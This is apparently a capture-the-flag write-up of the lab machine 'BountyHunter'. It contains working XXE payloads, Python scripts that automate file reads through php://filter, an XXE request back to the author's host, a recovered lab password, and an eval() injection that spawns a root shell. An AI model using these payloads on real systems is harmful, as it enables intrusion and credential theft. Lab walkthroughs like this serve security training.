BountyHunter
Fairly Easy box with a knowledge of XXE and reversing python scripts.
- Nmap
- Recon
- XXE Injection
- FootHold
- Root Privilege Escalation
As usual let’s start with nmap
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
# Nmap 7.80 scan initiated Sun Jul 25 00:30:37 2021 as: nmap -Pn -sCV -p22,80 -oN nmap/Basic_10.129.144.35.nmap 10.129.144.35
Nmap scan report for 10.129.144.35
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
We have only two ports open Port 22 and 80.
Enumeration
Port 80 We have a website running on port 80. Let’s scroll through and see if we have anything interesting going on the webpages.
Searching for any hidden directories.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~/ctf/htb/BountyHunter# ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.144.35/FUZZ -o gobuster_php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.144.35/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Output file : gobuster_php
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
resources [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 691ms]
assets [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 206ms]
css [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 412ms]
js [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 208ms]
Scrolling through pages, I found portal.php which is under development is taking to another page where we can submit a form.
We have resources
directory found from our directory busting. Let’s have a look at it.
We have a readme file. It will be useful if we can see any version information of the webpages
We did not find any version info, but we have some kind of task list.
Let’s get back to login form again and try submitting the form with somedetails and intercept in burpsuite.
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.129.144.35
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.144.35/log_submit.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 223
Connection: close
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50aXRsZTwvdGl0bGU%2BCgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz5jdnNzPC9jdnNzPgoJCTxyZXdhcmQ%2BMTIwMCQ8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
It’s posting to /tracker_diRbPr00f314.php
page in a base64 encoded format.
The details which we submitted are send in XML format. So we must be have a javascript at client end which does this formation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//http://10.129.144.35/resources/bountylog.js
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
All the script does is takes the input from user and converts it base64 encode using btoa
function.
So after looking at the XML, one thing always strikes Try for a XXE injection
FootHold
Construction of payload
1
2
3
4
5
6
7
8
9
<!DOCTYPE tinyb0y[
<!ELEMENT tinyb0y ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>aaa</title>
<cwe>&xxe;</cwe>
<cvss>a</cvss>
<reward>12000</reward>
</bugreport>
convert-payload to base64
1
PCFET0NUWVBFIHRpbnliMHlbCjwhRUxFTUVOVCB0aW55YjB5IEFOWSA+CjwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+IF0+CjxidWdyZXBvcnQ+Cjx0aXRsZT5hYWE8L3RpdGxlPgo8Y3dlPiZ4eGU7PC9jd2U+CjxjdnNzPmE8L2N2c3M+CjxyZXdhcmQ+MTIwMDA8L3Jld2FyZD4KPC9idWdyZXBvcnQ+
Send the previous burp request and to repeat (ctrl + R) and modify the payload
We have a successful XXE injection.
So now let’s automate this process using python as it difficult to convert and again post it through burp everytime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from base64 import b64encode
import requests
from bs4 import BeautifulSoup
URL = "http://10.129.144.35/tracker_diRbPr00f314.php"
while True:
FILE_TO_READ = raw_input(">")
payload = '<!DOCTYPE foo[\
<!ELEMENT foo ANY >\
<!ENTITY xxe SYSTEM "file://{}"> ]>\
<bugreport>\
<title>aaa</title>\
<cwe>&xxe;</cwe>\
<cvss>a</cvss>\
<reward>12000</reward>\
</bugreport>'.format(FILE_TO_READ)
encoded_payload = b64encode(payload)
# print(encoded_payload)
r = requests.post(URL, data={'data':encoded_payload})
soup = BeautifulSoup(r.text, 'lxml')
rows = soup.find_all('td')
print(rows[3])
This python script takes our input and converts the payload as required and sends it to server and get’s back revelant content for us
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@kali:~/ctf/htb/BountyHunter# python exp.py
>/etc/passwd
<td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
>
We have a development user account on the machine.
1
2
3
4
5
6
7
root@kali:~/ctf/htb/BountyHunter# python exp.py
>/etc/apache2/sites-enabled/000-default.conf
<td></td>
>/var/www/html/index.php
<td></td>
>/home/development/.ssh/id_rsa
<td></td>
I tried to read the apache configuration, in order to read the exact path location where the server files are hosted but i wasn’t successful in reading.
After observing, I was trying with a different payload using xxe for generate a request to my machine. If we have a request to our server then we might have SSRF.
XXE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from base64 import b64encode
import requests
from bs4 import BeautifulSoup
URL = "http://10.129.144.35/tracker_diRbPr00f314.php"
while True:
FILE_TO_READ = raw_input(">")
payload = '<!DOCTYPE foo[\
<!ELEMENT foo ANY >\
<!ENTITY xxe SYSTEM "http://10.10.14.178/{}"> ]>\
<bugreport>\
<title>aaa</title>\
<cwe>&xxe;</cwe>\
<cvss>a</cvss>\
<reward>12000</reward>\
</bugreport>'.format(FILE_TO_READ)
encoded_payload = b64encode(payload)
# print(encoded_payload)
r = requests.post(URL, data={'data':encoded_payload})
soup = BeautifulSoup(r.text, 'lxml')
rows = soup.find_all('td')
print(rows[3])
I requested for a page which doesn’t exist on my system and the remote machine request a page from my system. Now we can ask the server to request the our page and load it. let’s try if it works.
It loaded the page but there was no reverse shell from the remote page.
As we load any page either local or remote, but we are mostly interested in loading the local file on the server. We can use php-filters which encode the page in base64 and send us the page.
Yay!!! Now we can read the server files which are hosted without knowing the exact path. Let’s rewrite the script to request and convert the payload from base64 into readable format for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from base64 import b64encode,b64decode
import requests
from bs4 import BeautifulSoup
URL = "http://10.129.101.90/tracker_diRbPr00f314.php"
while True:
FILE_TO_READ = raw_input(">")
payload = '<!DOCTYPE foo[\
<!ELEMENT foo ANY >\
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={}"> ]>\
<bugreport>\
<title>aaa</title>\
<cwe>&xxe;</cwe>\
<cvss>a</cvss>\
<reward>12000</reward>\
</bugreport>'.format(FILE_TO_READ)
encoded_payload = b64encode(payload)
# print(encoded_payload)
r = requests.post(URL, data={'data':encoded_payload})
soup = BeautifulSoup(r.text, 'lxml')
rows = soup.find_all('td')
filtered = b64decode(rows[3].string)
print(filtered)
Using the script, i loaded the db.php file which has a user and password
Now let’s see if the development user has used the same password.
1
2
User: development
Pass: m19RoAU0hP41A1sTsq6K
Yep! The user used the same password.
Quick Tip: Never use same password for configuration and logins
We have our user flag. Now let’s escalate to root.
Root Privilege Escalation
1
2
3
4
5
6
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
We can run a python script /opt/skytrain_inc/ticketValidator.py
as root on the remote server but we oon’t have permission to write to this file.
Let’s have a look at the script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = "390681613.md"#input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
The script reads a ticket file and does some checks and then return the value on the terminal.
Then interesting thing is it uses eval
function
After going through how the code works, I generated a payload
1
2
3
4
5
6
7
8
development@bountyhunter:~$ cat sample.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+410+86+int(eval("__import__('os').system('whoami')"))**
##Issued: 2021/04/06
#End Ticket
We are root.
So let’s try to get a bash shell
1
2
3
4
5
6
7
development@bountyhunter:~$ cat sample.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+410+86+int(eval("__import__('os').system('bash -p')"))**
##Issued: 2021/04/06
#End Ticket
And we the flag.
Fairly good box, with XXE explot and analysing code.
Any suggestions, please do write me at tinyb0y@protonmail.com